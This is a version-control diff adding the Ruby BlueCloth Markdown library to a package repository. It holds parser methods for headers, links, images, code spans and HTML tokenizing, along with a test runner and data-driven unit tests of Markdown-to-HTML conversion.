+	# Regex for matching Setext-style headers
+	SetextHeaderRegexp = %r{
+		(.+)			# The title text ($1)
+		\n
+		([\-=])+		# Match a line of = or -. Save only one in $2.
+		[ ]*\n+
+	   }x
+
+	# Regexp for matching ATX-style headers
+	AtxHeaderRegexp = %r{
+		^(\#{1,6})	# $1 = string of #'s
+		[ ]*
+		(.+?)		# $2 = Header text
+		[ ]*
+		\#*			# optional closing #'s (not counted)
+		\n+
+	  }x
+
+	### Apply Markdown header transforms to a copy of the given +str+ amd render
+	### state +rs+ and return the result.
+	def transform_headers( str, rs )
+		@log.debug " Transforming headers"
+
+		# Setext-style headers:
+		#	  Header 1
+		#	  ========
+		#  
+		#	  Header 2
+		#	  --------
+		#
+		str.
+			gsub( SetextHeaderRegexp ) {|m|
+				@log.debug "Found setext-style header"
+				title, hdrchar = $1, $2
+				title = apply_span_transforms( title, rs )
+
+				case hdrchar
+				when '='
+					%[<h1>#{title}</h1>\n\n]
+				when '-'
+					%[<h2>#{title}</h2>\n\n]
+				else
+					title
+				end
+			}.
+
+			gsub( AtxHeaderRegexp ) {|m|
+				@log.debug "Found ATX-style header"
+				hdrchars, title = $1, $2
+				title = apply_span_transforms( title, rs )
+
+				level = hdrchars.length
+				%{<h%d>%s</h%d>\n\n} % [ level, title, level ]
+			}
+	end
+
+
+	### Wrap all remaining paragraph-looking text in a copy of +str+ inside <p>
+	### tags and return it.
+	def form_paragraphs( str, rs )
+		@log.debug " Forming paragraphs"
+		grafs = str.
+			sub( /\A\n+/, '' ).
+			sub( /\n+\z/, '' ).
+			split( /\n{2,}/ )
+
+		rval = grafs.collect {|graf|
+
+			# Unhashify HTML blocks if this is a placeholder
+			if rs.html_blocks.key?( graf )
+				rs.html_blocks[ graf ]
+
+			# Otherwise, wrap in <p> tags
+			else
+				apply_span_transforms(graf, rs).
+					sub( /^[ ]*/, '<p>' ) + '</p>'
+			end
+		}.join( "\n\n" )
+
+		@log.debug " Formed paragraphs: %p" % rval
+		return rval
+	end
+
+
+	# Pattern to match the linkid part of an anchor tag for reference-style
+	# links.
+	RefLinkIdRegex = %r{
+		[ ]?					# Optional leading space
+		(?:\n[ ]*)?				# Optional newline + spaces
+		\[
+			(.*?)				# Id = $1
+		\]
+	  }x
+
+	InlineLinkRegex = %r{
+		\(						# Literal paren
+			[ ]*				# Zero or more spaces
+			<?(.+?)>?			# URI = $1
+			[ ]*				# Zero or more spaces
+			(?:					# 
+				([\"\'])		# Opening quote char = $2
+				(.*?)			# Title = $3
+				\2				# Matching quote char
+			)?					# Title is optional
+		\)
+	  }x
+
+	### Apply Markdown anchor transforms to a copy of the specified +str+ with
+	### the given render state +rs+ and return it.
+	def transform_anchors( str, rs )
+		@log.debug " Transforming anchors"
+		@scanner.string = str.dup
+		text = ''
+
+		# Scan the whole string
+		until @scanner.empty?
+		
+			if @scanner.scan( /\[/ )
+				link = ''; linkid = ''
+				depth = 1
+				startpos = @scanner.pos
+				@log.debug " Found a bracket-open at %d" % startpos
+
+				# Scan the rest of the tag, allowing unlimited nested []s. If
+				# the scanner runs out of text before the opening bracket is
+				# closed, append the text and return (wasn't a valid anchor).
+				while depth.nonzero?
+					linktext = @scanner.scan_until( /\]|\[/ )
+
+					if linktext
+						@log.debug "  Found a bracket at depth %d: %p" % [ depth, linktext ]
+						link += linktext
+
+						# Decrement depth for each closing bracket
+						depth += ( linktext[-1, 1] == ']' ? -1 : 1 )
+						@log.debug "  Depth is now #{depth}"
+
+					# If there's no more brackets, it must not be an anchor, so
+					# just abort.
+					else
+						@log.debug "  Missing closing brace, assuming non-link."
+						link += @scanner.rest
+						@scanner.terminate
+						return text + '[' + link
+					end
+				end
+				link.slice!( -1 ) # Trim final ']'
+				@log.debug " Found leading link %p" % link
+
+				# Look for a reference-style second part
+				if @scanner.scan( RefLinkIdRegex )
+					linkid = @scanner[1]
+					linkid = link.dup if linkid.empty?
+					linkid.downcase!
+					@log.debug "  Found a linkid: %p" % linkid
+
+					# If there's a matching link in the link table, build an
+					# anchor tag for it.
+					if rs.urls.key?( linkid )
+						@log.debug "   Found link key in the link table: %p" % rs.urls[linkid]
+						url = escape_md( rs.urls[linkid] )
+
+						text += %{<a href="#{url}"}
+						if rs.titles.key?(linkid)
+							text += %{ title="%s"} % escape_md( rs.titles[linkid] )
+						end
+						text += %{>#{link}</a>}
+
+					# If the link referred to doesn't exist, just append the raw
+					# source to the result
+					else
+						@log.debug "  Linkid %p not found in link table" % linkid
+						@log.debug "  Appending original string instead: "
+						@log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+						text += @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+					end
+
+				# ...or for an inline style second part
+				elsif @scanner.scan( InlineLinkRegex )
+					url = @scanner[1]
+					title = @scanner[3]
+					@log.debug "  Found an inline link to %p" % url
+
+					text += %{<a href="%s"} % escape_md( url )
+					if title
+						title.gsub!( /"/, "&quot;" )
+						text += %{ title="%s"} % escape_md( title )
+					end
+					text += %{>#{link}</a>}
+
+				# No linkid part: just append the first part as-is.
+				else
+					@log.debug "No linkid, so no anchor. Appending literal text."
+					text += @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+				end # if linkid
+
+			# Plain text
+			else
+				@log.debug " Scanning to the next link from %p" % @scanner.rest
+				text += @scanner.scan( /[^\[]+/ )
+			end
+
+		end # until @scanner.empty?
+
+		return text
+	end
+
+
+	# Pattern to match strong emphasis in Markdown text
+	BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x
+
+	# Pattern to match normal emphasis in Markdown text
+	ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x
+
+	### Transform italic- and bold-encoded text in a copy of the specified +str+
+	### and return it.
+	def transform_italic_and_bold( str, rs )
+		@log.debug " Transforming italic and bold"
+
+		str.
+			gsub( BoldRegexp, %{<strong>\\2</strong>} ).
+			gsub( ItalicRegexp, %{<em>\\2</em>} )
+	end
+
+	
+	### Transform backticked spans into <code> spans.
+	def transform_code_spans( str, rs )
+		@log.debug " Transforming code spans"
+
+		# Set up the string scanner and just return the string unless there's at
+		# least one backtick.
+		@scanner.string = str.dup
+		unless @scanner.exist?( /`/ )
+			@scanner.terminate
+			@log.debug "No backticks found for code span in %p" % str
+			return str
+		end
+
+		@log.debug "Transforming code spans in %p" % str
+
+		# Build the transformed text anew
+		text = ''
+
+		# Scan to the end of the string
+		until @scanner.empty?
+
+			# Scan up to an opening backtick
+			if pre = @scanner.scan_until( /.?(?=`)/m )
+				text += pre
+				@log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ]
+
+				# Make a pattern to find the end of the span
+				opener = @scanner.scan( /`+/ )
+				len = opener.length
+				closer = Regexp::new( opener )
+				@log.debug "Scanning for end of code span with %p" % closer
+
+				# Scan until the end of the closing backtick sequence. Chop the
+				# backticks off the resultant string, strip leading and trailing
+				# whitespace, and encode any enitites contained in it.
+				codespan = @scanner.scan_until( closer ) or
+					raise FormatError::new( @scanner.rest[0,20],
+						"No %p found before end" % opener )
+
+				@log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ]
+				codespan.slice!( -len, len )
+				text += "<code>%s</code>" %
+					encode_code( codespan.strip, rs )
+
+			# If there's no more backticks, just append the rest of the string
+			# and move the scan pointer to the end
+			else
+				text += @scanner.rest
+				@scanner.terminate
+			end
+		end
+
+		return text
+	end
+
+
+	# Next, handle inline images:  ![alt text](url "optional title")
+	# Don't forget: encode * and _
+	InlineImageRegexp = %r{
+		(					# Whole match = $1
+			!\[ (.*?) \]	# alt text = $2
+		  \([ ]*
+			<?(\S+?)>?		# source url = $3
+		    [ ]*
+			(?:				# 
+			  (["'])		# quote char = $4
+			  (.*?)			# title = $5
+			  \4			# matching quote
+			  [ ]*
+			)?				# title is optional
+		  \)
+		)
+	  }xs #"
+
+
+	# Reference-style images
+	ReferenceImageRegexp = %r{
+		(					# Whole match = $1
+			!\[ (.*?) \]	# Alt text = $2
+			[ ]?			# Optional space
+			(?:\n[ ]*)?		# One optional newline + spaces
+			\[ (.*?) \]		# id = $3
+		)
+	  }xs
+
+	### Turn image markup into image tags.
+	def transform_images( str, rs )
+		@log.debug " Transforming images" % str
+
+		# Handle reference-style labeled images: ![alt text][id]
+		str.
+			gsub( ReferenceImageRegexp ) {|match|
+				whole, alt, linkid = $1, $2, $3.downcase
+				@log.debug "Matched %p" % match
+				res = nil
+				alt.gsub!( /"/, '&quot;' )
+
+				# for shortcut links like ![this][].
+				linkid = alt.downcase if linkid.empty?
+
+				if rs.urls.key?( linkid )
+					url = escape_md( rs.urls[linkid] )
+					@log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ]
+
+					# Build the tag
+					result = %{<img src="%s" alt="%s"} % [ url, alt ]
+					if rs.titles.key?( linkid )
+						result += %{ title="%s"} % escape_md( rs.titles[linkid] )
+					end
+					result += EmptyElementSuffix
+
+				else
+					result = whole
+				end
+
+				@log.debug "Replacing %p with %p" % [ match, result ]
+				result
+			}.
+
+			# Inline image style
+			gsub( InlineImageRegexp ) {|match|
+				@log.debug "Found inline image %p" % match
+				whole, alt, title = $1, $2, $5
+				url = escape_md( $3 )
+				alt.gsub!( /"/, '&quot;' )
+
+				# Build the tag
+				result = %{<img src="%s" alt="%s"} % [ url, alt ]
+				unless title.nil?
+					title.gsub!( /"/, '&quot;' )
+					result += %{ title="%s"} % escape_md( title )
+				end
+				result += EmptyElementSuffix
+
+				@log.debug "Replacing %p with %p" % [ match, result ]
+				result
+			}
+	end
+
+
+	# Regexp to match special characters in a code block
+	CodeEscapeRegexp = %r{( \* | _ | \{ | \} | \[ | \] | \\ )}x
+
+	### Escape any characters special to HTML and encode any characters special
+	### to Markdown in a copy of the given +str+ and return it.
+	def encode_code( str, rs )
+		str.gsub( %r{&}, '&amp;' ).
+			gsub( %r{<}, '&lt;' ).
+			gsub( %r{>}, '&gt;' ).
+			gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]}
+	end
+				
+
+
+	#################################################################
+	###	U T I L I T Y   F U N C T I O N S
+	#################################################################
+
+	### Escape any markdown characters in a copy of the given +str+ and return
+	### it.
+	def escape_md( str )
+		str.
+			gsub( /\*/, EscapeTable['*'][:md5] ).
+			gsub( /_/,  EscapeTable['_'][:md5] )
+	end
+
+
+	# Matching constructs for tokenizing X/HTML
+	HTMLCommentRegexp  = %r{ <! ( -- .*? -- \s* )+ > }mx
+	XMLProcInstRegexp  = %r{ <\? .*? \?> }mx
+	MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp )
+
+	HTMLTagOpenRegexp  = %r{ < [a-z/!$] [^<>]* }imx
+	HTMLTagCloseRegexp = %r{ > }x
+	HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp )
+
+	### Break the HTML source in +str+ into a series of tokens and return
+	### them. The tokens are just 2-element Array tuples with a type and the
+	### actual content. If this function is called with a block, the type and
+	### text parts of each token will be yielded to it one at a time as they are
+	### extracted.
+	def tokenize_html( str )
+		depth = 0
+		tokens = []
+		@scanner.string = str.dup
+		type, token = nil, nil
+
+		until @scanner.empty?
+			@log.debug "Scanning from %p" % @scanner.rest
+
+			# Match comments and PIs without nesting
+			if (( token = @scanner.scan(MetaTag) ))
+				type = :tag
+
+			# Do nested matching for HTML tags
+			elsif (( token = @scanner.scan(HTMLTagOpenRegexp) ))
+				tagstart = @scanner.pos
+				@log.debug " Found the start of a plain tag at %d" % tagstart
+
+				# Start the token with the opening angle
+				depth = 1
+				type = :tag
+
+				# Scan the rest of the tag, allowing unlimited nested <>s. If
+				# the scanner runs out of text before the tag is closed, raise
+				# an error.
+				while depth.nonzero?
+
+					# Scan either an opener or a closer
+					chunk = @scanner.scan( HTMLTagPart ) or
+						raise "Malformed tag at character %d: %p" % 
+							[ tagstart, token + @scanner.rest ]
+						
+					@log.debug "  Found another part of the tag at depth %d: %p" % [ depth, chunk ]
+
+					token += chunk
+
+					# If the last character of the token so far is a closing
+					# angle bracket, decrement the depth. Otherwise increment
+					# it for a nested tag.
+					depth += ( token[-1, 1] == '>' ? -1 : 1 )
+					@log.debug "  Depth is now #{depth}"
+				end
+
+			# Match text segments
+			else
+				@log.debug " Looking for a chunk of text"
+				type = :text
+
+				# Scan forward, always matching at least one character to move
+				# the pointer beyond any non-tag '<'.
+				token = @scanner.scan_until( /[^<]+/m )
+			end
+
+			@log.debug " type: %p, token: %p" % [ type, token ]
+
+			# If a block is given, feed it one token at a time. Add the token to
+			# the token list to be returned regardless.
+			if block_given?
+				yield( type, token )
+			end
+			tokens << [ type, token ]
+		end
+
+		return tokens
+	end
+
+
+	### Return a copy of +str+ with angle brackets and ampersands HTML-encoded.
+	def encode_html( str )
+		str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&amp;" ).
+			gsub( %r{<(?![a-z/?\$!])}i, "&lt;" )
+	end
+
+	
+	### Return one level of line-leading tabs or spaces from a copy of +str+ and
+	### return it.
+	def outdent( str )
+		str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '')
+	end
+	
+end # class BlueCloth
+

Added: packages/libbluecloth-ruby/trunk/test.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/test.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/test.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,117 @@
+#!/usr/bin/ruby
+#
+#	Test suite for BlueCloth classes
+#	$Id$
+#
+
+BEGIN {
+	$basedir = File::dirname( __FILE__ )
+	["lib", "tests", "redist"].each do |subdir|
+		$LOAD_PATH.unshift File::join( $basedir, subdir )
+	end
+
+	require "#{$basedir}/utils"
+	include UtilityFunctions
+}
+
+verboseOff {
+	require 'bctestcase'
+	require 'find'
+	require 'test/unit'
+	require 'test/unit/testsuite'
+	require 'test/unit/ui/console/testrunner'
+	require 'optparse'
+}
+
+# Turn off output buffering
+$stderr.sync = $stdout.sync = true
+$DebugPattern = nil
+
+# Initialize variables
+safelevel = 0
+patterns = []
+requires = []
+
+# Parse command-line switches
+ARGV.options {|oparser|
+	oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
+
+	oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
+		"Turn debugging on (for tests which match PATTERN)" ) {|arg|
+		if arg
+			$DebugPattern = Regexp::new( arg )
+			puts "Turned debugging on for %p." % $DebugPattern
+		else
+			$DEBUG = true
+			debugMsg "Turned debugging on globally."
+		end
+	}
+
+	oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
+		$VERBOSE = true
+		debugMsg "Turned verbose on."
+	}
+
+	# Handle the 'help' option
+	oparser.on( "--help", "-h", "Display this text." ) {
+		$stderr.puts oparser
+		exit!(0)
+	}
+
+	oparser.parse!
+}
+
+# Parse test patterns
+ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
+$stderr.puts "#{patterns.length} patterns given on the command line"
+
+### Load all the tests from the tests dir
+Find.find("#{$basedir}/tests") {|file|
+	Find.prune if /\/\./ =~ file or /~$/ =~ file
+	Find.prune if /TEMPLATE/ =~ file
+	next if File.stat( file ).directory?
+
+ 	unless patterns.empty?
+ 		Find.prune unless patterns.find {|pat| pat =~ file}
+ 	end
+
+	debugMsg "Considering '%s': " % file
+	next unless file =~ /\.tests.rb$/
+	debugMsg "Requiring '%s'..." % file
+	require "#{file}"
+	requires << file
+}
+
+$stderr.puts "Required #{requires.length} files."
+unless patterns.empty?
+	$stderr.puts "[" + requires.sort.join( ", " ) + "]"
+end
+
+# Build the test suite
+class BlueClothTests
+	class << self
+		def suite
+			suite = Test::Unit::TestSuite.new( "BlueCloth" )
+
+			if suite.respond_to?( :add )
+				ObjectSpace.each_object( Class ) {|klass|
+					suite.add( klass.suite ) if klass < BlueCloth::TestCase
+				}
+			else
+				ObjectSpace.each_object( Class ) {|klass|
+					suite << klass.suite if klass < BlueCloth::TestCase
+				}			
+			end
+
+			return suite
+		end
+	end
+end
+
+# Run tests
+$SAFE = safelevel
+Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
+
+
+
+


Property changes on: packages/libbluecloth-ruby/trunk/test.rb
___________________________________________________________________
Name: svn:executable
   + 

Added: packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,71 @@
+#!/usr/bin/ruby
+#
+# Unit test for the BlueCloth class object 
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+	basedir = File::dirname( __FILE__ )
+	require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class BlueClothClassTestCase < BlueCloth::TestCase
+
+	TestString = "foo"
+
+	def test_00_class_constant
+		printTestHeader "BlueCloth: Class Constant"
+
+		assert Object::constants.include?( "BlueCloth" ),
+			"No BlueCloth constant in Object"
+		assert_instance_of Class, BlueCloth
+	end
+
+	def test_01_instantiation
+		printTestHeader "BlueCloth: Instantiation"
+		rval = nil
+		
+		# With no argument... ("")
+		assert_nothing_raised {
+			rval = BlueCloth::new
+		}
+		assert_instance_of BlueCloth, rval
+		assert_kind_of String, rval
+		assert_equal "", rval
+
+		# String argument
+		assert_nothing_raised {
+			rval = BlueCloth::new TestString
+		}
+		assert_instance_of BlueCloth, rval
+		assert_kind_of String, rval
+		assert_equal TestString, rval
+
+		addSetupBlock {
+			debugMsg "Creating a new BlueCloth"
+			@obj = BlueCloth::new( TestString )
+		}
+		addTeardownBlock {
+			@obj = nil
+		}
+	end
+
+	def test_02_duplication
+		printTestHeader "BlueCloth: Duplication"
+		rval = nil
+		
+		assert_nothing_raised {
+			rval = @obj.dup
+		}
+		assert_instance_of BlueCloth, rval
+		assert_kind_of String, rval
+		assert_equal TestString, rval
+	end
+
+
+end
+

Added: packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,1527 @@
+#!/usr/bin/ruby
+#
+# Test case for BlueCloth Markdown transforms.
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+	basedir = File::dirname( __FILE__ )
+	require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class SubfunctionsTestCase < BlueCloth::TestCase
+
+	### Test email address output
+	Emails = %w[
+		address at example.com
+		foo-list-admin at bar.com
+		fu at bar.COM
+		baz at ruby-lang.org
+		foo-tim-bazzle at bar-hop.co.uk
+		littlestar at twinkle.twinkle.band.CO.ZA
+		ll at lll.lllll.ll
+		Ull at Ulll.Ulllll.ll
+		UUUU1 at UU1.UU1UUU.UU
+		l at ll.ll
+		Ull.Ullll at llll.ll
+		Ulll-Ull.Ulllll at ll.ll
+		1 at 111.ll
+	]
+	# I can't see a way to handle IDNs clearly yet, so these will have to wait.
+	#	info@öko.de
+	#	jemand at büro.de
+	#	irgendwo-interreßant at dÅgta.se
+	#]
+
+	def test_10_email_address
+		printTestHeader "BlueCloth: Inline email address"
+		rval = match = nil
+
+		Emails.each {|addr|
+			assert_nothing_raised {
+				rval = BlueCloth::new( "<#{addr}>" ).to_html
+			}
+
+			match = %r{<p><a href="([^\"]+)">[^<]+</a></p>}.match( rval )
+			assert_not_nil match, "Match against output #{rval}"
+			assert_equal "mailto:#{addr}", decode( match[1] )
+		}
+	end
+
+
+	def decode( str )
+		str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match|
+			code = $1
+			debugMsg "Decoding %p" % code
+
+			case code
+			when /^x([a-f0-9]+)/i
+				debugMsg "  (hex) = %p" % $1.to_i(16).chr
+				$1.to_i(16).chr
+			when /\d{3}/
+				debugMsg "  (oct) = %p" % code.to_i.chr
+				code.to_i.chr
+			else
+				raise "Hmmm... malformed entity %p" % code
+			end
+		} 
+	end
+
+
+
+	#################################################################
+	###	A U T O - G E N E R A T E D   T E S T S
+	#################################################################
+
+	# Parse the data section into a hash of test specifications
+	TestSets = {}
+	begin
+		seenEnd = false
+		inMetaSection = true
+		inInputSection = true
+		section, description, input, output = '', '', '', ''
+		linenum = 0
+
+		# Read this file, skipping lines until the __END__ token. Then start
+		# reading the tests.
+		File::foreach( __FILE__ ) {|line|
+			linenum += 1
+			if /^__END__/ =~ line then seenEnd = true; next end
+			debugMsg "#{linenum}: #{line.chomp}"
+			next unless seenEnd
+
+			# Start off in the meta section, which has sections and
+			# descriptions.
+			if inMetaSection
+				
+				case line
+
+				# Left angles switch into data section for the current section
+				# and description.
+				when /^<<</
+					inMetaSection = false
+					next
+
+				# Section headings look like:
+				# ### [Code blocks]
+				when /^### \[([^\]]+)\]/
+					section = $1.chomp
+					TestSets[ section ] ||= {}
+
+				# Descriptions look like:
+				# # Para plus code block
+				when /^# (.*)/
+					description = $1.chomp
+					TestSets[ section ][ description ] ||= {
+						:line => linenum,
+						:sets => [],
+					}
+
+				end
+
+			# Data section has input and expected output parts
+			else
+
+				case line
+
+				# Right angles terminate a data section, at which point we
+				# should have enough data to add a test.
+				when /^>>>/
+					TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ]
+
+					inMetaSection = true
+					inInputSection = true
+					input = ''; output = ''
+
+				# 3-Dashed divider with text divides input from output
+				when /^--- (.+)/
+					inInputSection = false
+
+				# Anything else adds to either input or output
+				else
+					if inInputSection
+						input += line
+					else
+						output += line
+					end
+				end
+			end
+		}			
+	end
+
+	debugMsg "Test sets: %p" % TestSets
+
+	# Auto-generate tests out of the test specifications
+	TestSets.each {|sname, section|
+
+		# Generate a test method for each section
+		section.each do |desc, test|
+			methname = "test_%03d_%s" %
+				[ test[:line], desc.gsub(/\W+/, '_').downcase ]
+
+			# Header
+			code = %{
+				def #{methname}
+					printTestHeader "BlueCloth: #{desc}"
+					rval = nil
+			}
+
+			# An assertion for each input/output pair
+			test[:sets].each {|input, output|
+				code << %{
+					assert_nothing_raised {
+						obj = BlueCloth::new(%p)
+						rval = obj.to_html
+					}
+					assert_equal %p, rval
+
+				} % [ input, output ]
+			}
+
+			code << %{
+				end
+			}
+
+
+			debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code]
+			eval code
+		end
+
+	}
+
+end
+
+
+__END__
+
+### [Paragraphs and Line Breaks]
+
+# Paragraphs
+<<<
+This is some stuff that should all be 
+put in one paragraph
+even though 
+it occurs over several lines.
+
+And this is a another
+one.
+--- Should become:
+<p>This is some stuff that should all be 
+put in one paragraph
+even though 
+it occurs over several lines.</p>
+
+<p>And this is a another
+one.</p>
+>>>
+
+# Line breaks
+<<<
+Mostly the same kind of thing  
+with two spaces at the end  
+of each line  
+should result in  
+line breaks, though.
+
+And this is a another  
+one.
+--- Should become:
+<p>Mostly the same kind of thing<br/>
+with two spaces at the end<br/>
+of each line<br/>
+should result in<br/>
+line breaks, though.</p>
+
+<p>And this is a another<br/>
+one.</p>
+>>>
+
+# Escaping special characters
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as &lt;&lt;, is often used &amp; greatly admired.</p>
+>>>
+
+# Preservation of named entities
+<<<
+The left shift operator, which is written as &lt;&lt;, is often used &amp; greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as &lt;&lt;, is often used &amp; greatly admired.</p>
+>>>
+
+# Preservation of decimal-encoded entities
+<<<
+The left shift operator, which is written as &#060;&#060;, is often used &#038; greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as &#060;&#060;, is often used &#038; greatly admired.</p>
+>>>
+
+# Preservation of hex-encoded entities
+<<<
+The left shift operator, which is written as &#x3c;&#x3c;, is often used &#x26; greatly admired.
+--- Should become:
+<p>The left shift operator, which is written as &#x3c;&#x3c;, is often used &#x26; greatly admired.</p>
+>>>
+
+# Inline HTML - table tags
+<<<
+This is a regular paragraph.
+
+<table>
+    <tr>
+        <td>Foo</td>
+    </tr>
+</table>
+
+This is another regular paragraph.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<table>
+    <tr>
+        <td>Foo</td>
+    </tr>
+</table>
+
+<p>This is another regular paragraph.</p>
+>>>
+
+# Inline HTML - div tags
+<<<
+This is a regular paragraph.
+
+<div>
+   Something
+</div>
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<div>
+   Something
+</div>
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Plain HR
+<<<
+This is a regular paragraph.
+
+<hr />
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<hr />
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Fancy HR
+<<<
+This is a regular paragraph.
+
+<hr class="publishers-mark" id="first-hrule" />
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<hr class="publishers-mark" id="first-hrule" />
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - Iframe
+<<<
+This is a regular paragraph.
+
+<iframe src="foo.html" id="foo-frame"></iframe>
+
+Something else.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<iframe src="foo.html" id="foo-frame"></iframe>
+
+<p>Something else.</p>
+>>>
+
+
+# Inline HTML - mathml
+<<<
+Examples
+--------
+
+Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:
+
+<math>
+  <mrow>
+	<msup>
+	  <mi>x</mi>
+	  <mn>2</mn>
+	</msup>
+	<mo>+</mo>
+	<mn>4</mn>
+	<mi>x</mi>
+	<mo>+</mo>
+	<mn>4</mn>
+	<mo>=</mo>
+	<mn>0</mn>
+  </mrow>
+</math>
+
+This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.
+
+--- Should become:
+<h2>Examples</h2>
+
+<p>Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:</p>
+
+<math>
+  <mrow>
+    <msup>
+      <mi>x</mi>
+      <mn>2</mn>
+    </msup>
+    <mo>+</mo>
+    <mn>4</mn>
+    <mi>x</mi>
+    <mo>+</mo>
+    <mn>4</mn>
+    <mo>=</mo>
+    <mn>0</mn>
+  </mrow>
+</math>
+
+<p>This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.</p>
+>>>
+
+
+# Span-level HTML
+<<<
+This is some stuff with a <span class="foo">spanned bit of text</span> in
+it. And <del>this *should* be a bit of deleted text</del> which should be
+preserved, and part of it emphasized.
+--- Should become:
+<p>This is some stuff with a <span class="foo">spanned bit of text</span> in
+it. And <del>this <em>should</em> be a bit of deleted text</del> which should be
+preserved, and part of it emphasized.</p>
+>>>
+
+# Inline HTML (Case-sensitivity)
+<<<
+This is a regular paragraph.
+
+<TABLE>
+    <TR>
+        <TD>Foo</TD>
+    </TR>
+</TABLE>
+
+This is another regular paragraph.
+--- Should become:
+<p>This is a regular paragraph.</p>
+
+<TABLE>
+    <TR>
+        <TD>Foo</TD>
+    </TR>
+</TABLE>
+
+<p>This is another regular paragraph.</p>
+>>>
+
+# Span-level HTML (Case-sensitivity)
+<<<
+This is some stuff with a <SPAN CLASS="foo">spanned bit of text</SPAN> in
+it. And <DEL>this *should* be a bit of deleted text</DEL> which should be
+preserved, and part of it emphasized.
+--- Should become:
+<p>This is some stuff with a <SPAN CLASS="foo">spanned bit of text</SPAN> in
+it. And <DEL>this <em>should</em> be a bit of deleted text</DEL> which should be
+preserved, and part of it emphasized.</p>
+>>>
+
+
+
+### [Code spans]
+
+# Single backtick
+<<<
+Making `code` work for you
+--- Should become:
+<p>Making <code>code</code> work for you</p>
+>>>
+
+# Literal backtick with doubling
+<<<
+Making `` `code` `` work for you
+--- Should become:
+<p>Making <code>`code`</code> work for you</p>
+>>>
+
+# Many repetitions
+<<<
+Making `````code````` work for you
+--- Should become:
+<p>Making <code>code</code> work for you</p>
+>>>
+
+# Two in a row
+<<<
+This `thing` should be `two` spans.
+--- Should become:
+<p>This <code>thing</code> should be <code>two</code> spans.</p>
+>>>
+
+# At the beginning of a newline
+<<<
+I should think that the
+`tar` command would be universal.
+--- Should become:
+<p>I should think that the
+<code>tar</code> command would be universal.</p>
+>>>
+
+# Entity escaping
+<<<
+The left angle-bracket (`&lt;`) can also be written as a decimal-encoded
+(`&#060;`) or hex-encoded (`&#x3c;`) entity.
+--- Should become:
+<p>The left angle-bracket (<code>&amp;lt;</code>) can also be written as a decimal-encoded
+(<code>&amp;#060;</code>) or hex-encoded (<code>&amp;#x3c;</code>) entity.</p>
+>>>
+
+# At the beginning of a document (Bug #525)
+<<<
+`world` views
+--- Should become:
+<p><code>world</code> views</p>
+>>>
+
+
+
+
+### [Code blocks]
+
+# Para plus code block (literal tab)
+<<<
+This is a chunk of code:
+
+	some.code > some.other_code
+
+Some stuff.
+--- Should become:
